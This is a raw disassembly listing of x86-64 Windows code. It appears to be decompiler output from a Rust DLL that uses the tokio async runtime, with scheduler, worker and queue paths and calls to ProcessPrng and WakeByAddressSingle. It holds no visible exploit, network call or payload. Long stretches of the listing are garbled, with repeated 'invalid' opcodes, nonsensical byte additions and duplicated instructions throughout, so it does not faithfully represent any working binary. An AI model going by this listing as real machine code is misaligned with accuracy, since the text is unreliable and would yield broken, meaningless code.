mov rsi, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x30]
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x18], rax
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x8f], 1
mov rcx, rsi
call rax
movabs rcx, 0xb98b1b7157a64178
cmp rax, rcx
jne 0x18005cf67
mov eax, 8
movabs r8, 0x63eb502cd6cb5d6d
mov rcx, rsi
cmp rdx, r8
jne 0x18005cf67
mov r8, qword [rcx]
mov rcx, qword [rsi + rax]
mov qword [rbp + 0x68], r8
mov qword [rbp + 0x70], rcx
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x98]
cmp eax, 1
je 0x18005cf1a
test eax, eax
jne 0x18005cfc0
mov byte [rbp + 0x8f], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0x90]
lea rdx, [0x180044a40]
call fcn.180044a80
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x98], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
test rcx, rcx
jne 0x18005cf5f
mov byte [rbp + 0x8f], 1
call fcn.18006a350
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
lock inc qword [rcx]
jg 0x18005cfb7
ud2
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x8f], 1
mov rcx, rsi
call rax
movabs r9, 0x5fddc1311321e4f2
mov ecx, 0xc
lea r8, [0x18007d68c]
cmp rax, r9
jne 0x18005cea4
movabs rax, 0xe526eed68f9d1d6
cmp rdx, rax
jne 0x18005cea4
lea rcx, [rsi + 8]
mov eax, 0x10
jmp 0x18005ce9d
test rcx, rcx
jne 0x18005d0d3
mov eax, 9
lea rcx, [0x18007d698]
xor edx, edx
mov qword [rbp + 0x60], rdx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x40]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x18]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x68]
mov qword [rbp - 8], rax
lea rax, [rbp + 0x88]
mov qword [rbp], rax
movzx eax, byte [0x18008b1d8]
test al, al
jne 0x18005d00d
xor r15d, r15d
jmp 0x18005d062
mov byte [0x18008b1d8], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x60], 0
jne 0x18005d048
call fcn.18004cc10
test rax, rax
jne 0x18005d04f
mov eax, 1
mov sil, 1
xor r15d, r15d
jmp 0x18005d066
lea rax, [rax + 0x68]
mov r15, qword [rax]
mov qword [rax], 0
test r15, r15
jne 0x18005d100
xor esi, esi
xor eax, eax
mov dword [rbp + 0x58], 0
mov byte [rbp + 0x5c], 0
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x8e], 1
lea r8, [0x18007d6f8]
lea rcx, [rbp - 0x18]
lea rdx, [rbp + 0x58]
call fcn.18005c0b0
xor edi, edi
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x18005d0aa
lock dec qword [rcx]
jne 0x18005d0aa
call fcn.180044bf0
test r15, r15
sete al
or sil, dil
or sil, al
jne 0x18005cc81
lock dec qword [r15]
jne 0x18005cc81
mov rcx, r15
call fcn.18004ccf0
jmp 0x18005cc81
mov rax, qword [rcx + 0x10]
test rax, rax
mov qword [rbp + 0x60], rcx
je 0x18005d1dd
cmp eax, 1
jne 0x18005d1ee
mov rdx, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rdx + 0x20]
dec rax
jmp 0x18005cfd2
lea rsi, [r15 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], cl
je 0x18005d118
mov rcx, rsi
call fcn.18006a610
mov rax, qword [0x18008b2f8]
shl rax, 1
test rax, rax
mov qword [rbp - 0x58], rsi
je 0x18005d229
call fcn.18006a6d0
xor al, 1
mov dword [rbp + 0x84], eax
movzx eax, byte [r15 + 0x11]
mov qword [rbp + 0x78], r15
add r15, 0x18
lea r8, [0x18007d6a8]
lea rcx, [rbp - 0x18]
mov rdx, r15
call fcn.18005c0b0
cmp byte [rbp + 0x84], 0
mov r15, qword [rbp + 0x78]
jne 0x18005d186
mov rax, qword [0x18008b2f8]
shl rax, 1
test rax, rax
je 0x18005d186
call fcn.18006a6d0
test al, al
jne 0x18005d186
mov byte [r15 + 0x11], 1
xor eax, eax
mov rcx, qword [rbp - 0x58]
xchg byte [rcx], al
cmp al, 2
jne 0x18005d198
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov byte [0x18008b1d8], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x60], 0
jne 0x18005d1ff
call fcn.18004cc10
test rax, rax
mov r15, qword [rbp + 0x78]
jne 0x18005d206
lock dec qword [r15]
mov rcx, r15
je 0x18005d21a
xor esi, esi
mov dil, 1
jmp 0x18005d096
mov eax, 4
lea rcx, str.main
jmp 0x18005cfd2
mov eax, 9
lea rcx, [0x18007d698]
jmp 0x18005cfd2
lea rax, [rax + 0x68]
mov rcx, qword [rax]
mov qword [rax], r15
mov dil, 1
test rcx, rcx
je 0x18005d222
lock dec qword [rcx]
jne 0x18005d222
call fcn.18004ccf0
mov dil, 1
xor esi, esi
jmp 0x18005d096
mov dword [rbp + 0x84], 0
jmp 0x18005d13c
lea rcx, [0x180081690]
mov qword [rbp + 0x28], rcx
lea rcx, [0x18007d8b0]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], r8
mov qword [rbp + 0x40], r9
mov byte [rbp + 0x48], bl
mov byte [rbp + 0x49], al
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x40], rax
lea rax, [0x180026e10]
mov qword [rbp - 0x38], rax
lea rax, [0x18007d908]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 2
mov qword [rbp + 8], 0
lea rax, [rbp - 0x40]
mov qword [rbp - 8], rax
mov qword [rbp], 1
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x18]
call fcn.180043d00
mov qword [rbp + 0x68], rax
test rax, rax
je 0x18005d3a3
lea rcx, [rbp + 0x68]
jmp 0x18005d39e
test r8, r8
je 0x18005d2fc
mov rdx, qword [r8 + 8]
mov rcx, qword [r8 + 0x18]
cmp rdx, 1
je 0x18005d2f3
test rdx, rdx
jne 0x18005d2fc
test rcx, rcx
jne 0x18005d2fc
test rcx, rcx
je 0x18005d3ac
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x28], 0
xor ecx, ecx
lea rdx, [0x180081690]
mov qword [rbp - 0x40], rdx
lea rdx, [0x18007d8b0]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x20], bl
mov byte [rbp - 0x1f], al
mov dword [rbp + 0x88], 0
mov byte [rbp + 0x8c], 0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x68], rax
lea rax, [0x180026e10]
mov qword [rbp + 0x70], rax
lea rax, [0x18007d960]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 2
mov qword [rbp + 8], 0
lea rax, [rbp + 0x68]
mov qword [rbp - 8], rax
mov qword [rbp], 1
lea rcx, [rbp + 0x88]
lea rdx, [rbp - 0x18]
call fcn.180043d00
mov qword [rbp + 0x58], rax
test rax, rax
je 0x18005d3a3
lea rcx, [rbp + 0x58]
call fcn.180043db0
mov ecx, 7
int 0x29
ud2
mov rdx, qword [r8]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x20], rdx
lea rcx, [rbp + 0x18]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 1
lea rcx, [0x180081690]
mov qword [rbp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x28]
jmp 0x18005d30e
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
lea rsi, [rax + 0xa0]
jmp 0x18005f3d6
lea esi, [rdi + 0xa0]
lea rdx, [0x18005f3e0]
mov rcx, rsi
call fcn.180044a80
mov byte [rdi + 0xf0], 1
jmp 0x18005f3d6
mov rax, rsi
add rsp, 0x28
pop rdi
pop rsi
ret
add byte [rax], al
add cl, byte [rax - 0x7d]
ror dword [rax], 0xe9
or cl, ch
or cl, ch
idiv dh
invalid
movabs r10, 0x6c7967656e657261
xor r10, rcx
movabs r11, 0x7465646279746573
xor r11, rdx
lea rsi, [rsp + 0x28]
mov qword [rsi], rax
mov qword [rsi + 8], r10
mov qword [rsi + 0x10], r9
mov qword [rsi + 0x18], r11
mov qword [rsi + 0x20], rcx
mov qword [rsi + 0x28], rdx
and qword [rsi + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rsi + 0x30], xmm0
lea rdx, [rsp + 0x20]
mov qword [rdx], r8
mov r8d, 8
mov rcx, rsi
call fcn.18001dbec
mov rcx, rsi
call fcn.18001dac2
nop
add rsp, 0x70
pop rsi
ret
mov rax, qword [r14]
movups xmm0, xmmword [r14 + 8]
or byte [rdi], r9b
sub dword [rsp + 0x20], eax
or byte [rdi], r9b
sub dword [rsp + 0x20], eax
cmp rax, 3
jne 0x18005f4d7
add esi, dword [rbp + 9]
mov qword [rsi], 3
add eax, dword [rax]
add byte [rax], al
jmp 0x18005f4e3
mov qword [rsi], rax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 8], xmm0
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r14
ret
add al, byte [rax]
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
lea rax, [0x180081490]
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea r8, [fcn.18005f53d]
mov qword [rdx + 8], r8
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtimehandle.rs
call fcn.180069750
int3
lea esi, [rsp + 0x20]
movaps xmmword [rsi], xmm0
mov edx, 0x10
mov rcx, rsi
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
adc eax, 0xcce4
invalid
adc eax, 0xcce4
mov rax, qword [rsi]
mov eax, dword [rsi]
mov rcx, qword [rsi + 8]
mov edx, dword [0x18008b304]
add al, byte [rax]
add al, byte [rax]
mov r8, qword gs:[0x58]
and eax, 0x58
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x78], 1
mov qword [rdx + 0x80], rax
add byte [rax], al
add byte [rax], al
mov qword [rdx + 0x88], rcx
add rsp, 0x30
pop rsi
ret
sub rsp, 0x30
mov eax, dword [0x18008b304]
add eax, 0x2bc58
add eax, 0x2bc58
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
test eax, eax
je 0x18005f6cd
cmp eax, 1
je 0x18005f6fa
xor esi, esi
jmp 0x18005f72c
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rsi, [rax + 0xf8]
lea rdx, [0x18005f767]
mov rcx, rsi
call fcn.180044a80
mov byte [rsi + 8], 1
call fcn.18005f735
mov ecx, dword [0x18008b304]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rsi, [rcx + 0xf8]
mov rdx, qword [rsi]
lea rcx, [rsp + 0x28]
mov qword [rcx], rdx
mov qword [rsi], rax
call fcn.18005fc1a
mov rax, rsi
add rsp, 0x30
pop rsi
ret
sbb byte [rax - 0x73], cl
adc eax, 0x1ff87
add dword [rax], eax
call fcn.180069750
int3
mov rcx, rax
push rdi
or eax, dword [rax]
add byte [rax + 0x75004b7e], al
add al, 0xc6
add byte [r8 - 0x7d], cl
invalid
or eax, 0x20360
mov ecx, eax
jp 0x1800601b9
add byte [rax], al
or ch, 0xfb
inc dword [rax - 0x76b7fe1e]
invalid
or byte [rax], al
and qword [rax + 8], 0
add byte [rax - 1], cl
retf 0x8948
dec rdx
mov qword [rcx + 8], rdx
ret
or al, byte [rax]
add byte [rax - 0x7b], cl
push qword [rbp - 0x18]
add rsp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp byte [r8 + 0x49], 0
je 0x1800602ff
mov rax, qword [rbx]
mov rcx, qword [rax + 0x10]
adc sil, al
add byte [r8 - 0x39], cl
sar bh, 0xff
invalid
push rax
xadd qword [rcx + 0xb0], rax
cmp ax, 1
jne 0x1800602ff
adc sil, al
add byte [r8 - 0x39], cl
sar bh, 0xff
invalid
add rcx, 0x10
call fcn.18006052c
inc qword [rsi + 0x20]
mov qword [rsp + 0x30], rbx
lea r12, [rbx + 8]
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, r12
call fcn.18005f303
mov rbx, rax
mov r14, rdx
mov rcx, qword [rax]
call fcn.18005f965
mov qword [rbx], rsi
inc qword [r14]
call fcn.18005f35d
test rax, rax
je 0x18006034f
mov cl, byte [rax + 0x4c]
mov byte [rsp + 0x2e], cl
mov cl, byte [rax + 0x4d]
mov byte [rsp + 0x2f], cl
mov word [rax + 0x4c], 0x8001
jmp 0x180060354
mov byte [rsp + 0x2e], 2
mov r15d, 1
lea r13, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
lea rbp, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax]
mov rcx, r12
mov rdx, r13
call fcn.18005f303
mov r14, qword [rax]
and qword [rax], 0
inc qword [rdx]
test r14, r14
je 0x1800603ef
mov rdi, qword [r14]
and qword [r14], 0
test rdi, rdi
je 0x1800603f4
call fcn.18005f35d
test rax, rax
test eax, eax
test eax, eax
je case.0x18004b2bd.183
cmp byte [rax + 0x4c], 0
sete cl
cmp byte [rax + 0x4d], 0
setne al
or al, cl
jmp 0x1800603b5
mov al, 2
cmp al, 2
je 0x1800603bd
and al, 1
je 0x180060417
cmp r15, 3
jb 0x1800603c8
invalid
add eax, 0x4846c641
add byte [rcx + rcx*4 - 0x1f], cl
mov byte [r14 + 0x48], 0
mov rcx, r12
mov rdx, rbp
call fcn.18005f303
mov rsi, rax
mov rbx, rdx
mov rcx, qword [rax]
call fcn.18005f965
cmc
invalid
dec dword [rcx + rcx*4 + 0x36]
inc qword ss:[rbx]
cmc
invalid
inc qword ss:[rbx]
inc r15
jmp 0x180060368
invalid
xor r14d, r14d
jmp 0x180060409
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x10]
mov al, byte [rax + 0x50]
xor al, 1
adc byte [rdx + 0x1345040], cl
mov byte [r14 + 0x48], al
mov cl, byte [rsp + 0x2e]
mov r12b, byte [rsp + 0x2f]
mov ah, byte [rsp + 0x2f]
mov ah, byte [rsp + 0x2f]
jmp 0x1800604e3
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rsi, qword [rax + 0x10]
jo 0x180060433
xor byte [rax - 0x75], cl
add byte [rax - 0x75], cl
jo 0x180060433
lea r15, [rsi + 0x10]
mov rbx, qword [r14 + 0x18]
mov r12b, byte [rsp + 0x2f]
sbb byte [rdx + rcx*4 + 0x64], al
and al, 0x2f
mov rax, qword [rbx + 0x18]
mov r8, rax
sbb byte [rcx - 0x77], cl
ror byte [rcx - 0x3f], 0xe8
shr r8, 0x20
mov r9d, dword [rbx + 0x20]
and byte [r9 + r9*4 - 0x37], al
shr r8, 0x20
mov r9d, dword [rbx + 0x20]
and byte [r9 + r9*4 - 0x37], al
and byte [r9 + r9*4 - 0x37], al
sub ecx, r8d
cmp ecx, 0x100
stc
add byte [rcx], al
add byte [rax], al
stc
add byte [rcx], al
add byte [rax], al
jb 0x18006046d
cmp r8d, eax
jne 0x180060482
sal byte [rbp + 0x30], 0x49
mov ecx, dword [rsi + 0x18]
mov rcx, qword [r14 + 0x18]
sbb byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
mov qword [rsp + 0x20], r15
mov rdx, rdi
call fcn.1800607d0
add byte [rax - 0x77], cl
invalid
test rax, rax
jne 0x180060430
add byte [rax - 0x77], cl
invalid
jmp 0x1800604df
movzx eax, r9b
mov rcx, qword [rbx + 0x10]
mov qword [rcx + rax*8], rdi
inc r9d
inc ecx
mov dword [rbx + 0x20], r9d
jmp 0x1800604df
and bl, ch
pop rbp
lea rcx, [rsi + 0xc0]
call fcn.180060227
mov r15, rax
mov ebp, edx
and bpl, 1
invalid
rol byte [rax], 0
add al, ch
cdq
std
invalid
add dword [rax + 0x74003078], eax
or cl, byte [rax - 0x77]
mov rcx, rdi
cmp byte [rax + 0x30], 0
je 0x1800604a7
mov rcx, rdi
call fcn.18005e8ea
jmp case.0x1800642bc.113
mov rax, r15
add rax, 0x20
mov rcx, qword [rsi + 0xa8]
add byte [rax], al
add byte [rax], al
mov rdx, qword [r15 + 0x28]
lea r8, [rdx + 8]
test rdx, rdx
cmove r8, rax
ror byte [rcx - 0x77], 0x38
ror byte [rcx - 0x77], 0x38
mov qword [r15 + 0x28], rdi
inc rcx
mov qword [rsi + 0xa8], rcx
mov dword [rsi + 0xa8], ecx
mov dword [rsi + 0xa8], ecx
mov rcx, r15
mov edx, ebp
call fcn.180060d58
invalid
add byte [rdx + 0x442e244c], cl
mov edx, esp
mov cl, byte [rsp + 0x2e]
mov edx, r12d
call fcn.1800607a4
mov rax, r14
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x28
movabs rax, 0x7fffffffffffffff
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jg 0x180060556
cmp dword [rcx], eax
jae 0x18006051f
cmp qword [rcx + 0x18], 0
sete al
add rsp, 0x28
ret
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulerdefer.rs
call fcn.180069ac0
add ah, cl
add ah, cl
push rsi
push rdi
push rbx
sub rsp, 0x20
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
jne 0x1800605f5
mov rsi, rcx
shr rax, 0x10
cmp rax, qword [rcx + 0xa8]
jae 0x1800605f5
lea rcx, [rsi + 0xb0]
call fcn.180060227
and dl, 1
mfence
mov rcx, qword [rsi + 0xa0]
test cx, cx
jne 0x1800605ad
shr rcx, 0x10
cmp rcx, qword [rsi + 0xa8]
jae 0x1800605ad
lock add qword [rsi + 0xa0], 0x10001
mov rbx, qword [rax + 0x18]
test rbx, rbx
je 0x1800605bc
lea rcx, [rbx - 1]
mov qword [rax + 0x18], rcx
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov rdi, qword [rcx + rbx*8 - 8]
fprem
jmp 0x1800605bc
mov rcx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.180060d58
invalid
add byte [rax - 0x77], cl
shr eax, 0x94
mov rcx, rax
call fcn.180060d58
invalid
add byte [rax], al
test rbx, rbx
je 0x1800605f5
invalid
mov rdx, qword [rsi + 0x50]
push rsi
push rax
cmp rdi, rdx
cmp edi, edx
jae 0x1800605fe
sub al, 0x48
mov eax, dword [rsi + 0x48]
mov rax, qword [rsi + 0x48]
shl rdi, 4
add rsi, 0x108
mov rcx, qword [rax + rdi + 8]
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x180060668
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdi
call fcn.1800697a0
int3
push rsi
sub rsp, 0x70
mov eax, 3
add byte [rax], al
add byte [rax - 0x79], cl
sbb byte [r8 - 0x7d], cl
sbb byte [rax - 0x7d], cl
clc
add esi, dword [rdi + 0x4b]
add byte [rax], al
add byte [rax - 0x79], cl
sbb byte [r8 - 0x7d], cl
sbb byte [rax - 0x7d], cl
sbb byte [rax - 0x7d], cl
clc
add esi, dword [rdi + 0x4b]
mov rsi, rcx
lea rcx, [0x180083644]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
add rsp, 0x70
pop rsi
ret
lea rcx, [rsi + 0x24]
call fcn.180060227
mov ebx, edi
invalid
inc dword [rax - 0x76b7fe1e]
shr eax, 0x6b
add byte [rax], al
add byte [rax - 0x7d], cl
add esi, 0x20
mov ebx, edi
invalid
add esi, 0x20
mov rcx, rsi
add rsp, 0x70
pop rsi
jmp fcn.180059be0
mov rcx, qword [rdx]
add rsp, 0x70
pop rsi
jmp 0x180060719
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [rsp + 0x30]
mov qword [rax], rcx
lea rdx, str.inconsistent_state_in_unpark__actual_
lea rcx, [rsp + 0x40]
mov qword [rcx], rdx
mov edx, 1
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
lea r8, [0x180020440]
mov qword [rax + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadpark.rs
call fcn.180069750
int3
add rcx, 0x10
jmp fcn.180060722
invalid
ror dword [rax - 0x75], 1
cmp al, 0xd0
mov edx, 1
mov r14, rdi
cmp rdx, 0x80
je 0x180060865
lea r8d, [rcx + rdx]
movzx r8d, r8b
mov r8, qword [rax + r8*8]
inc rdx
mov qword [r14 + 8], r8
mov r14, r8
jmp 0x180060844
xor ecx, ecx
call fcn.180060d4e
mov r15d, 0x80
test rsi, rsi
je 0x180060885
mov qword [r14 + 8], rsi
inc r15
mov r14, rsi
xor esi, esi
jmp 0x180060872
xor ecx, ecx
call fcn.180060d4e
xor ecx, ecx
call fcn.180060d4e
lea rcx, [rbx + 0xb0]
call fcn.180060227
and dl, 1
cmp byte [rax + 0x30], 0
je 0x1800608c8
mov rcx, rax
call fcn.180060d58
xor esi, esi
test rdi, rdi
je 0x1800608f6
mov rbx, qword [rdi + 8]
mov rcx, rdi
call fcn.18005e8ea
mov rdi, rbx
jmp 0x1800608b2
mov rcx, rax
add rcx, 0x20
mov r8, qword [rax + 0x28]
lea r9, [r8 + 8]
test r8, r8
cmove r9, rcx
mov qword [r9], rdi
mov qword [rax + 0x28], r14
add qword [rbx + 0x98], r15
mov rcx, rax
call fcn.180060d58
xor esi, esi
mov rax, rsi
add rsp, 0x80
invalid
add byte [rax], 0
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
ret
invalid
and al, 0x24
lea rcx, [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x180025550]
mov qword [rcx + 8], rax
lea rdx, [rsp + 0x20]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rax, str.queue_is_not_full__tail____head_
lea r8, [rsp + 0x50]
mov qword [r8], rax
mov eax, 2
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
and qword [r8 + 0x20], 0
lea rdx, [0x1800801e0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x28]
call fcn.18006b085
int3
lea r9, [0x18007f5e0]
mov edx, 0x2b
call fcn.180069b20
invalid
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [rsp + 0x30]
mov qword [rax], rcx
or byte [rax - 0x73], cl
adc eax, 0x1efe1
or byte [rax - 0x73], cl
adc eax, 0x1efe1
lea rcx, [rsp + 0x40]
mov qword [rcx], rdx
mov edx, 1
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
lea r8, [0x180020440]
mov qword [rax + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
sbb byte [rax - 0x73], cl
adc eax, 0x1efc1
sbb byte [rax - 0x73], cl
adc eax, 0x1efc1
call fcn.180069750
int3
invalid
add al, 0x48
add edi, edx
shl r8, 4
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.180068d66
add al, 0x4c
add ecx, eax
shl rax, 4
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push rdi
push rbx
sub rsp, 0x50
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x180061237
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
xor edx, edx
mov r8, rcx
shr r8, 0x3b
sete dl
cmp rcx, 5
mov ebx, 4
cmovae rbx, rcx
mov r8, rbx
shl r8, 4
shl edx, 3
test rax, rax
je 0x180061205
shl rax, 4
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x48], rax
mov eax, 8
jmp 0x180061207
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.18005e9bb
cmp qword [rdi], 0
jne 0x18006123e
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.180069600
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.180069600
int3
sub cl, ch
xchg ecx, eax
cmpsb byte [rsi], byte [rdi]
sti
invalid
test edx, edi
invalid
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x18006131a
lea rdx, [rax + rax]
adc al, 0
cmp rdx, rcx
cmova rcx, rdx
xor edx, edx
mov r8, rcx
shr r8, 0x3c
sete dl
cmp rcx, 5
mov ebx, 4
add byte [rax], al
add byte [rax + 0xf], cl
invalid
invalid
lea r8, [rbx*8]
shl edx, 3
loop 0x1800612cd
add byte [rax], al
add byte [rax + 0xf], cl
invalid
loop 0x1800612cd
test rax, rax
je 0x1800612e8
shl rax, 3
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x48], rax
mov eax, 8
jmp 0x1800612ea
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.18005e9bb
cmp qword [rdi], 0
jne 0x180061321
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.180069600
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.180069600
int3
dec dword [rax - 0x7d]
invalid
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, r8
mov rsi, rcx
lea rbx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
mov rcx, rbx
call fcn.18001e0ee
mov rbx, qword [rbx]
test rbx, rbx
je 0x180061486
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, r14
call fcn.18005ea3f
test rax, rax
je 0x18006148b
add rax, r15
add eax, edi
clc
lea rcx, [rdi - 1]
shr rdi, 3
imul rdx, rdi, 7
cmp rcx, 8
stc
or byte [rax + 0xf], cl
ror dword [rax - 0x77], 1
invalid
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
adc byte [rax - 0x7d], cl
sbb byte [rax], al
invalid
stc
or byte [rax + 0xf], cl
ror dword [rax - 0x77], 1
invalid
adc byte [rax - 0x7d], cl
sbb byte [rax], al
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.18002e420
mov rcx, rbx
mov rdx, r14
call fcn.18002e460
int3
mov rax, qword [rax + 8]
mov r8, qword [rdx - 0x20]
mov rdx, rax
jmp fcn.18005f403
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18007f560]
lea r8, [rsp + 0x37]
mov edx, 0x2b
add al, ch
invalid
test dword [rax], eax
add ah, cl
adc cl, byte [rax - 1]
ror byte [rax - 0x77], 1
lea rax, [rcx + 8]
mov rdx, rcx
add rsp, 0x28
ret
test byte [rax], al
add ah, cl
call 0x18ec01659
add byte [rax], al
add al, ch
jo 0x1800615e3
add byte [rax], al
int3
xor eax, eax
call fcn.18006096b
add rdi, 0x18
mov rcx, rdi
call fcn.18006060e
